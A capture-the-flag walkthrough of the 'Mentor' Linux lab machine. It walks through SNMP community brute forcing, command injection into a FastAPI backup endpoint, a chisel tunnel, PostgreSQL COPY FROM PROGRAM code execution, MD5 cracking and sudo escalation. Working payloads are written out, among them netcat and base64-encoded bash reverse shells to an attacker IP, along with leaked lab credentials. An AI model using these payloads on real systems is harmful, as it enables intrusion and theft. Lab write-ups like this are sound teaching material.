Mentor
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Mentor is a long medium Linux box with five different identities and a lesson at every hop. The way in is not on TCP: it is on 161/UDP, where thepubliccommunity says nothing and a second one,internal, does (SNMP enumeration). What it publishes is the process table, and in it alogin.pylaunched with the password as an argument. That password opens an API built on FastAPI which documents its own routes, and one of them drops thepathparameter into a shell command (command injection). That isroot, butrootof a container. From there on everything is movement: a reverse tunnel withchisel(reverse port forwarding) to the PostgreSQL on the internal network, whereCOPY ... FROM PROGRAMis command execution (RCE with COPY FROM PROGRAM); a database dump left in the data directory with two MD5 hashes, one of which falls tohashcat(hash cracking) and opens SSH on the host itself; and in/etc/snmp/snmpd.conf, another cleartext password that belongs to a second user. The ending is asudo -lwith/bin/shin it (sudo the GTFOBins way).
About the evidence. Two screenshots are published, both of the API's Swagger documentation: the/docsfront page and the/auth/loginform with the schema the API declares itself. Terminals are published as text. Three gaps the note does not preserve, stated instead of filled in: the reading ofuser.txt, which appears nowhere (root.txtdoes); the sweep of the internal Docker network that leads from the IP written indb.pyto the PostgreSQL container's, which are different; and the command wheresvc's password was typed intossh. Therootflag is complete because the box is retired.
Recon#
Initial scan#
The returning TTL points at the operating system: every OS starts it at a default value and every router decrements it by one per hop. ttl=63 is 64 minus one hop, so Linux.
ping -c 1 10.129.228.10264 bytes from 10.129.228.102: icmp_seq=1 ttl=63 time=22.4 ms
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.129.228.102 -oG scan... PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 11.53 seconds Raw packets sent: 69980 (3.079MB) | Rcvd: 65129 (2.605MB)
nmap -p22,80 -sCV 10.129.228.102 -oN targetedScan... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 c7:3b:fc:3c:f9:ce:ee:8b:48:18:d5:d1:af:8e:c2:bb (ECDSA) |_ 256 44:40:08:4c:0e:cb:d4:f1:8e:7e:ed:a8:5c:68:a4:f7 (ED25519) 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Did not follow redirect to http://mentorquotes.htb/ Service Info: Host: mentorquotes.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.01 seconds
echo '10.129.228.102 mentorquotes.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.228.102 mentorquotes.htb
Two TCP ports and nothing else. On a medium box that is almost always the sign that something is sitting where people do not look.
UDP sweep#
UDP gets scanned rarely because it is slow and unreliable: there is no three-way handshake, so an open port that stays quiet and a filtered one look very much alike. That is why the sweep uses --top-ports instead of -p-, and the grep -v 'no-response' strips the nine hundred-odd lines of ports that said nothing.
nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 1000 10.129.228.102 | grep -v 'no-response'Starting Nmap 7.99 ( https://nmap.org ) at 2026-11-02 13:12 +0000 Initiating UDP Scan at 13:12 Scanning 10.129.228.102 [1000 ports] Discovered open port 161/udp on 10.129.228.102 Completed UDP Scan at 13:12, 0.52s elapsed (1000 total ports) Nmap scan report for 10.129.228.102 Host is up, received user-set (0.028s latency). Scanned at 2026-11-02 13:12:20 UTC for 1s Not shown: 6 closed udp ports (port-unreach) PORT STATE SERVICE REASON 161/udp open snmp udp-response ttl 63 Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds Raw packets sent: 2081 (98.175KB) | Rcvd: 8 (675B)
nmap -p161 -sUCV 10.129.228.102 -oN UDPtargetedScan... PORT STATE SERVICE VERSION 161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public) | snmp-info: | enterprise: net-snmp | engineIDFormat: unknown | engineIDData: a124f60a99b99c6200000000 | snmpEngineBoots: 67 |_ snmpEngineTime: 51m30s | snmp-sysdescr: Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 |_ System uptime: 51m30.43s (309043 timeticks) Service Info: Host: mentor
SNMP. And nmap already says the public community answers, which is the first configuration mistake: in SNMPv1 and v2c the "community" is all the authentication there is, a cleartext string travelling over the wire.
SNMP - UDP 161: the community#
snmpwalk -v2c -c public 10.129.228.102iso.3.6.1.2.1.1.1.0 = STRING: "Linux mentor 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64" iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10 iso.3.6.1.2.1.1.3.0 = Timeticks: (362330) 1:00:23.30 iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@mentorquotes.htb>" iso.3.6.1.2.1.1.5.0 = STRING: "mentor" iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay" iso.3.6.1.2.1.1.7.0 = INTEGER: 72 iso.3.6.1.2.1.1.8.0 = Timeticks: (2) 0:00:00.02 iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1 iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1 iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1 iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1 iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1 iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49 iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50 iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4 iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3 iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92 iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB." iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching." iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model." iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities" iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP." iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations" iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations" iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations" iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering." iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications." iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (1) 0:00:00.01 iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (1) 0:00:00.01 iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (1) 0:00:00.01 iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (1) 0:00:00.01 iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (1) 0:00:00.01 iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (1) 0:00:00.01 iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (1) 0:00:00.01 iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (2) 0:00:00.02 iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (2) 0:00:00.02 iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (2) 0:00:00.02 iso.3.6.1.2.1.25.1.1.0 = Timeticks: (363433) 1:00:34.33 iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 EA 0B 02 0D 15 0B 00 2B 00 00 iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216 iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-56-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0 " iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0 iso.3.6.1.2.1.25.1.6.0 = Gauge32: 227 iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0 iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
That is everything public shows: the kernel, the host name, a contact address and four counters. The walk stops at 25.1.7.0 with a No more variables left in this MIB View, which is not the end of the machine's information but the end of the view that community is allowed. Put another way: there is more tree, just not for public.
So what has to be hunted is not more OIDs, it is another community.
wget https://raw.githubusercontent.com/SECFORCE/SNMP-Brute/refs/heads/master/snmpbrute.py... 2026-11-02 14:30:20 (34.4 MB/s) - ‘snmpbrute.py’ saved [28029/28029]
python3 snmpbrute.py -t 10.129.228.102 -f /usr/share/wordlists/SecLists/Discovery/SNMP/common-snmp-community-strings.txt_____ _ ____ _______ ____ __ / ___// | / / |/ / __ \ / __ )_______ __/ /____ \__ \/ |/ / /|_/ / /_/ / / __ / ___/ / / / __/ _ \ ___/ / /| / / / / ____/ / /_/ / / / /_/ / /_/ __/ /____/_/ |_/_/ /_/_/ /_____/_/ \__,_/\__/\___/ SNMP Bruteforce & Enumeration Script v2.0 http://www.secforce.com / nikos.vassakis <at> secforce.com ############################################################### Trying ['public', 'private', '0', '0392a0', '1234', '2read', '4changes', 'ANYCOM', 'Admin', 'C0de', 'CISCO', 'CR52401', 'IBM', 'ILMI', 'Intermec', 'NoGaH$@!', 'OrigEquipMfr', 'PRIVATE', 'PUBLIC', 'Private', 'Public', 'SECRET', 'SECURITY', 'SNMP', 'SNMP_trap', 'SUN', 'SWITCH', 'SYSTEM', 'Secret', 'Security', 'Switch', 'System', 'TENmanUFactOryPOWER', 'TEST', 'access', 'adm', 'admin', 'agent', 'agent_steal', 'all', 'all private', 'all public', 'apc', 'bintec', 'blue', 'c', 'cable-d', 'canon_admin', 'cc', 'cisco', 'community', 'core', 'debug', 'default', 'dilbert', 'enable', 'field', 'field-service', 'freekevin', 'fubar', 'guest', 'hello', 'hp_admin', 'ibm', 'ilmi', 'intermec', 'internal', 'l2', 'l3', 'manager', 'mngt', 'monitor', 'netman', 'network', 'none', 'openview', 'pass', 'password', 'pr1v4t3', 'proxy', 'publ1c', 'read', 'read-only', 'read-write', 'readwrite', 'red', 'regional', 'rmon', 'rmon_admin', 'ro', 'root', 'router', 'rw', 'rwa', 'san-fran', 'sanfran', 'scotty', 'secret', 'security', 'seri', 'snmp', 'snmpd', 'snmptrap', 'solaris', 'sun', 'superuser', 'switch', 'system', 'tech', 'test', 'test2', 'tiv0li', 'tivoli', 'trap', 'world', 'write', 'xyzzy', 'yellow'] community strings ... 10.129.228.102 : 161 Version (v1): public 10.129.228.102 : 161 Version (v2c): public 10.129.228.102 : 161 Version (v2c): internal Waiting for late packets (CTRL+C to stop) Trying identified strings for READ-WRITE ... Identified Community strings 0) 10.129.228.102 public (v1)(RO) 1) 10.129.228.102 public (v2c)(RO) 2) 10.129.228.102 internal (v2c)(RO)
internal. It is in the common-strings wordlist, so nothing had to be guessed: it had to be tried. And that community's view is a different one.
snmpbulkwalk -v2c -c 'internal' 10.129.228.102 > snmp.txtcat snmp.txt... 3741 │ iso.3.6.1.2.1.25.4.2.1.5.2137 = STRING: "/usr/local/bin/login.py kj23sadkj123as0-d213" ...
The full walk is nearly four thousand lines, and the one that matters is in the 1.3.6.1.2.1.25.4.2.1.5 branch, which is hrSWRunParameters: the arguments every process on the machine was launched with. On a Linux box that is the same as a ps aux, and there is the eternal mistake: somebody passed a password as a command-line parameter. What we have is kj23sadkj123as0-d213, still without knowing whose it is.
Using snmpbulkwalk instead of snmpwalk is not a whim: it asks for several OIDs per packet instead of one per request, and over a four-thousand-entry walk that is the difference between seconds and minutes.
HTTP - TCP 80: the API#
whatweb http://mentorquotes.htb/http://mentorquotes.htb/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.0.3 Python/3.6.9], IP[10.129.228.102], Python[3.6.9], Title[MentorQuotes], Werkzeug[2.0.3]
curl http://mentorquotes.htb/ | html2text% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 5506 100 5506 0 0 53078 0 0 File "-", line 113, column 60: Levels of opening and closing headings don't match =============================================================================== ****** MentorQuotes ****** **** Your daily motivation **** =============================================================================== *** I believed I was good *** I was so bad at studies in school. Teachers used to tell me that I should follow a different passion other than typical education. ... =============================================================================== * Home mentorquotes.htb © 2022
The site is static: five motivational quotes and a link pointing back at itself. No forms, no uploads and nothing to touch. What there is, is a Werkzeug serving Python, meaning there is an application, even if this one does nothing.
With a domain of its own in play, the next place to look is subdomains.
wfuzz -u http://mentorquotes.htb/ -H 'Host: FUZZ.mentorquotes.htb' -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --hl=9 2>/dev/null... ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000052: 404 0 L 2 W 22 Ch "api" ...
That line has to be read carefully, because at first glance it looks like a failure: the result is a 404. But the --hl=9 filter hides every nine-line response, which is what the server returns when the Host means nothing to it and it serves the default site. api answers differently: zero lines, two words, twenty-two characters. That is another application replying, and a 404 only means there is nothing at its root.
echo '10.129.228.102 api.mentorquotes.htb' | sudo tee -a /etc/hosts > /dev/null; tail -n 1 /etc/hosts10.129.228.102 api.mentorquotes.htb
dirsearch -u http://api.mentorquotes.htb/ --exclude-status=404,503 -t 200 2>/dev/null... Target: http://api.mentorquotes.htb/ [13:47:07] Starting: [13:47:15] 307 - 0B - /admin -> http://api.mentorquotes.htb/admin/ [13:47:15] 422 - 186B - /admin/ [13:47:15] 307 - 0B - /admin/backup/ -> http://api.mentorquotes.htb/admin/backup [13:47:22] 405 - 31B - /auth/login [13:47:28] 200 - 969B - /docs [13:47:28] 307 - 0B - /docs/ -> http://api.mentorquotes.htb/docs [13:47:40] 200 - 7KB - /openapi.json [13:47:46] 200 - 772B - /redoc [13:47:47] 403 - 285B - /server-status [13:47:47] 403 - 285B - /server-status/ [13:47:55] 307 - 0B - /users -> http://api.mentorquotes.htb/users/ [13:47:55] 307 - 0B - /users/admin.php -> http://api.mentorquotes.htb/users/admin.php/ [13:47:55] 307 - 0B - /users/login.jsp -> http://api.mentorquotes.htb/users/login.jsp/ [13:47:55] 307 - 0B - /users/admin -> http://api.mentorquotes.htb/users/admin/ [13:47:55] 422 - 186B - /users/ [13:47:55] 307 - 0B - /users/login -> http://api.mentorquotes.htb/users/login/ [13:47:55] 307 - 0B - /users/login.aspx -> http://api.mentorquotes.htb/users/login.aspx/ [13:47:55] 307 - 0B - /users/login.php -> http://api.mentorquotes.htb/users/login.php/ [13:47:55] 307 - 0B - /users/login.js -> http://api.mentorquotes.htb/users/login.js/ [13:47:55] 307 - 0B - /users/login.html -> http://api.mentorquotes.htb/users/login.html/
Three response codes identify the framework without looking at it:
/docs,/redocand/openapi.jsonare the three routes FastAPI mounts on its own, without anybody asking. The first is the interactive documentation, the third is the JSON schema.422is not an everyday code: it is the "unprocessable entity" FastAPI returns when the request body does not match the model it expects. A 422 means the route exists, accepts data and is validating.405on/auth/loginsays the route exists but the method is wrong, anddirsearchasks withGET. There is a login, and it is aPOST.
Access: the API that documents itself#

The documentation settles two things at once. First, the user: the contact declared in the schema is james, the same name already showing in the SNMP contact address (admin@mentorquotes.htb) and the one that fits the password that has been floating around since the beginning. Second, the exact shape of each request.

An /auth/login demanding email, username and password all at once is not the usual thing, and guessing it blind is nearly impossible. Here there is nothing to guess: the page generates the full curl.
curl -X 'POST' 'http://api.mentorquotes.htb/auth/login' -H 'accept: application/json' -H 'Content-Type: application/json' -d '{ "email": "james@mentorquotes.htb", "username": "james", "password": "kj23sadkj123as0-d213" }' | jq% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 252 100 154 100 98 2756 1753 0 "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0"
The password SNMP was publishing as a process argument belongs to james. What comes back is a JWT, and its payload, the base64 part in the middle, carries {"username":"james","email":"james@mentorquotes.htb"} inside: no roles, no permissions, just who you are.
The backup endpoint#
Of all the routes dirsearch found, the one with no business existing in a public API is /admin/backup. And how to talk to it has to be worked out, because a 405 does not say which method is the right one.
curl -X GET http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0'{"detail":"Method Not Allowed"}
curl -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' -d '{}'{"detail":[{"loc":["body","path"],"msg":"field required","type":"value_error.missing"}]}
That error is a gift. FastAPI, validating the body against its model, says which field is missing and where: body → path. There is no need to guess the parameter name, the response names it.
curl -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' -d '{"path":"test"}'A parameter called path on an endpoint called backup smells of ending up inside a shell command. The way to check without assuming anything is out of band: stand up a server on the attacking machine and ask the victim to call it.
python3 -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
curl -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' -d '{"path":"$(wget http://10.10.15.120/test)"}'{"INFO":"Done!"}
10.129.228.102 - - [02/Nov/2026 15:07:53] "GET /test HTTP/1.1" 404 -That line is the entire proof. The 404 is ours, because there is no file called test on the server; what it demonstrates is not that the download worked but that the target machine ran the wget. The $(...) was expanded, so the parameter reaches a shell.
penelope[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.68.112 • 172.17.0.1 • 10.10.15.120 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
curl -X POST http://api.mentorquotes.htb/admin/backup -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImphbWVzIiwiZW1haWwiOiJqYW1lc0BtZW50b3JxdW90ZXMuaHRiIn0.peGpmshcF666bimHkYIBKQN7hj5m785uKcjwbD--Na0' -H 'Content-Type: application/json' -d '{"path":"$(busybox nc 10.10.15.120 4444 -e /bin/sh)"}'{"INFO":"Done!"}
busybox nc instead of a plain nc is for the usual reason: the netcat build many distributions ship has no -e, the flag that runs a program over the connection, but the one inside busybox does.
Pivoting: from the container to the database#
Landing in the container#
whoamiroot
hostnameec35c4e9ac96
root with a twelve-hex-character host name is the signature of a Docker container. Being root in there is worth almost nothing: no flags, no users and the disk is an image. What is in there is the application's code.
cat db.pyimport os from sqlalchemy import (Column, DateTime, Integer, String, Table, create_engine, MetaData) from sqlalchemy.sql import func from databases import Database # Database url if none is passed the default one is used DATABASE_URL = os.getenv("DATABASE_URL", "postgresql://postgres:postgres@172.22.0.1/mentorquotes_db") ...
A complete connection string, with username and password (postgres:postgres), and an address on Docker's internal network. But the client is not installed.
psql/bin/sh: psql: not found
That is where the rest of the box is decided: instead of fighting to get a PostgreSQL client into a minimal container, what gets moved is the port.
Fidelity notice. The tunnel below points at172.22.0.4, while the connection string indb.pysays172.22.0.1. They are two different addresses on the same Docker network (.1is the gateway) and the note does not preserve the sweep that found the PostgreSQL container's one. The address actually used is published, without inventing the missing step.
A reverse tunnel with chisel#
wget https://github.com/jpillora/chisel/releases/download/v1.12.0/chisel_1.12.0_linux_amd64.gz... 2026-11-02 17:11:40 (5.66 MB/s) - ‘chisel_1.12.0_linux_amd64.gz’ saved [4724737/4724737]
gunzip chisel_1.12.0_linux_amd64.gz
mv chisel_1.12.0_linux_amd64 chiselpython3 -m http.server 8000Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Inside the container, fetching it and making it executable is a single step.
wget http://10.10.15.120:8000/chisel; chmod +x chiselConnecting to 10.10.15.120:8000 (10.10.15.120:8000) chisel 100% |*********************************************************************************************************************************************| 11.0M 0:00:00 ETA
ls -l chisel-rwxr-xr-x 1 root root 11587744 Nov 2 17:14 chisel
./chisel server -p 8001 -reverse2026/11/02 17:16:07 server: Reverse tunnelling enabled 2026/11/02 17:16:07 server: Fingerprint ydL2uTRM/psUyREXoWJJW+N8Y5+YK3rpsByDldk1EUc= 2026/11/02 17:16:07 server: Listening on http://0.0.0.0:8001
./chisel client 10.10.15.120:8001 R:127.0.0.1:8002:172.22.0.4:54322026/11/02 17:16:32 client: Connecting to ws://10.10.15.120:8001 2026/11/02 17:16:32 client: Connected (Latency 24.086814ms)
The R: at the front is what makes this reverse: the listener is the server, that is our own machine, and the tunnel is opened from the inside out. That is the opposite of a normal forward and it is the only thing that works when the target sits behind NAT or, as here, inside a Docker network we cannot reach. The rule reads left to right: open port 8002 on the server's 127.0.0.1 and send it to port 5432 on 172.22.0.4.
psql -U postgres -h 127.0.0.1 -p 8002Password for user postgres: psql (18.4 (Debian 18.4-1+b2), server 13.7 (Debian 13.7-1.pgdg110+1)) Type "help" for help. postgres=# \du List of roles Role name | Attributes -----------+------------------------------------------------------------ postgres | Superuser, Create role, Create DB, Replication, Bypass RLS postgres=# DROP TABLE IF EXISTS cmd_exec; NOTICE: table "cmd_exec" does not exist, skipping DROP TABLE postgres=# CREATE TABLE cmd_exec(cmd_output text); CREATE TABLE
The password is the one written in db.py, and \du says the only thing that mattered: the role is a superuser. In PostgreSQL that includes a privilege that does not look like a database feature at all, and the two statements after it in the session prepare the place its output will land.
COPY ... FROM PROGRAM#
COPY exists to load a file into a table, and since version 9.3 it also accepts FROM PROGRAM, which runs a command and keeps its output. It is a documented feature, restricted to superusers, and it is code execution as the user running the server.
listeners add -p 4443
COPY cmd_exec FROM PROGRAM 'echo YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE1LjEyMC80NDQzIDA+JjEK|base64 -d|bash';The command travels in base64 for a concrete reason: the payload carries quotes, >& and &1, and that string has to get past PostgreSQL's own quoting and arrive intact at the shell COPY invokes. Encoded it is a single word with not one character anybody can reinterpret on the way, and what gets decoded on the other side is bash -c bash -i >& /dev/tcp/10.10.15.120/4443 0>&1.
sessions 2[+] Attempting to upgrade shell to PTY... [!] Python agent cannot be deployed. I need to maintain at least one Raw session to handle the PTY [+] Attempting to spawn a reverse shell on 10.10.15.120:4443 [+] Got reverse shell from 96e44c569292~10.129.228.102-Linux-x86_64 😍 Assigned SessionID <3> [+] Shell upgraded successfully using /usr/bin/script! 💪 [+] Interacting with session [2], Shell Type: PTY, Menu key: Ctrl+P [+] Logging to /root/.penelope/sessions/96e44c569292~10.129.228.102-Linux-x86_64/2026_11_02-17_25_40-025.log 📜 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── postgres@96e44c569292:~/data$ whoami postgres
A second container, a second hexadecimal name: 96e44c569292. Still nowhere near the host.
Shell as svc#
A backup in the data directory#
lsdata
cd data/lsbase pg_backup pg_dynshmem pg_ident.conf pg_multixact pg_replslot pg_snapshots pg_stat_tmp pg_tblspc PG_VERSION pg_xact postgresql.conf postmaster.pid global pg_commit_ts pg_hba.conf pg_logical pg_notify pg_serial pg_stat pg_subtrans pg_twophase pg_wal postgresql.auto.conf postmaster.opts
Every one of those directories belongs to PostgreSQL itself except one: pg_backup is not part of the format, somebody created it.
ls pg_backup/db_export.sql
cat pg_backup/db_export.sql... -- -- Data for Name: users; Type: TABLE DATA; Schema: public; Owner: postgres -- COPY public.users (id, email, username, password) FROM stdin; 1 james@mentorquotes.htb james 7ccdcd8c05b59add9c198d492b36a503 35 svc@mentorquotes.htb service_acc 53f22d0dfa10dce7e29cd31f4f953fd8 \.
A plaintext dump of the database with the users table inside it. Thirty-two hex characters per password is unsalted MD5, which is the worst place to keep a credential in 2022.
john and the wrong format#
john --wordlist=/usr/share/wordlists/rockyou.txt hash... Using default input encoding: UTF-8 Using default target encoding: CP850 Loaded 2 password hashes with no different salts (LM [DES 256/256 AVX2]) Warning: poor OpenMP scalability for this hash type, consider --fork=8 Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 0g 0:00:00:02 DONE (2026-11-02 17:30) 0g/s 5315Kp/s 5315Kc/s 10630KC/s (HERNAN..*7¡VA Session completed.
That output is not a wordlist failure, it is a format detection failure, and two signs give it away. First: the file has one line and john says Loaded 2 password hashes, because it decided this is an LM and LM hashes split into two seven-character halves. Second: Using default target encoding: CP850, the MS-DOS code page, another thing that only makes sense for a Windows hash. A raw MD5 and an LM share the same thirty-two hex characters, so john cannot tell them apart on its own and picks the first on its list.
The fix is to state the format, and hashcat always demands it explicitly.
hashcat hash /usr/share/wordlists/rockyou.txt -m 0... 53f22d0dfa10dce7e29cd31f4f953fd8:123meunomeeivani ...
-m 0 is raw MD5. The password is 123meunomeeivani, and that row's email (svc@mentorquotes.htb) names the system account, which is svc and not the service_acc in the username column.
ssh svc@mentorquotes.htbsvc@mentorquotes.htb's password: ... svc@mentor:~$ id uid=1001(svc) gid=1001(svc) groups=1001(svc)
mentor with no hexadecimal: the host at last.
Pivoting to james#
cd /etcls snmpsnmp.conf snmpd.conf snmpd.conf.d
Going back to the beginning is what closes this box. SNMP was the way in, and now its configuration can be read from the inside.
grep -ri pass snmpsnmp/snmpd.conf:# createUser username (MD5|SHA|SHA-512|SHA-384|SHA-256|SHA-224) authpassphrase [DES|AES] [privpassphrase] snmp/snmpd.conf:createUser bootstrap MD5 SuperSecurePassword123__ DES
createUser is the directive that registers an SNMPv3 user, the version that, unlike v1 and v2c, does have real authentication. The passphrase sits in the clear in the file because the daemon needs it to derive its keys at startup. It is an SNMP password, not a system account's, but that has never stopped it being the same one.
su rootPassword: su: Authentication failure
su jamesPassword: james@mentor:/etc$
Not root's, but it is james's, the same name the API declared as its contact. The password typed at that prompt is SuperSecurePassword123__, the one from snmpd.conf.
Privilege escalation#
sudo -l[sudo] password for james: Matching Defaults entries for james on mentor: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User james may run the following commands on mentor: (ALL) /bin/sh
Nothing else needs hunting: /bin/sh as any user is the escalation itself. There is no binary to abuse and no wildcard to exploit, it is written in the sudoers file.
sudo /bin/sh -pwhoamiroot
cat /root/root.txtf00e1905931d71abdd77298e2dd881a2
-p preserves the launching user's environment. It is not needed here, since sudo already hands over UID 0, but it is the habit that does matter when the binary carries the SUID bit instead of going through sudo.
Box rooted.
Attack chain#
161/UDP (SNMP) ─► the public community stops at "No more variables left in this MIB View"
│ snmpbrute with the common community-string wordlist ─► community "internal"
▼
snmpbulkwalk -c internal ─► hrSWRunParameters (every process's arguments)
│ "/usr/local/bin/login.py kj23sadkj123as0-d213" ─► a password with no owner yet
▼
80: static site on Werkzeug ─► wfuzz by Host ─► api.mentorquotes.htb
│ dirsearch: /docs, /openapi.json (FastAPI) and 422 on the routes with a model
▼
/docs declares james as the contact ─► POST /auth/login with email+username+password
│ a JWT carrying {"username":"james"} inside
▼
POST /admin/backup ─► the 422 names the missing field: "path"
│ {"path":"$(wget http://<kali>/test)"} ─► a GET /test 404 on OUR server
▼
{"path":"$(busybox nc <kali> 4444 -e /bin/sh)"} ─► root in a CONTAINER
│ db.py: postgresql://postgres:postgres@172.22.0.x and psql: not found
▼
chisel R:127.0.0.1:8002:172.22.0.4:5432 ─► psql to the local 8002
│ \du: the postgres role is a superuser
▼
COPY cmd_exec FROM PROGRAM '<base64>|base64 -d|bash' ─► shell as postgres
│ ~/data/pg_backup/db_export.sql ─► two unsalted MD5 hashes
▼
john fails (reads it as LM) / hashcat -m 0 ─► 123meunomeeivani ─► ssh svc
│ /etc/snmp/snmpd.conf ─► createUser bootstrap MD5 SuperSecurePassword123__ DES
▼
su james ─► sudo -l: (ALL) /bin/sh ─► sudo /bin/sh -p ─► root.txtLessons learned#
- Two TCP ports on a medium box is a hint, not a dead end. The way in was 161/UDP, which no default scan covers. UDP gets looked at rarely because it is slow and noisy, which is exactly why it is where the unreviewed things end up.
publicis not the only community. The walk withpublicstops by itself, with a message that literally says that view has ended. That is not the end of the information, it is the end of the permissions, and the answer was in a hundred-string wordlist.- The process table is a credential leak.
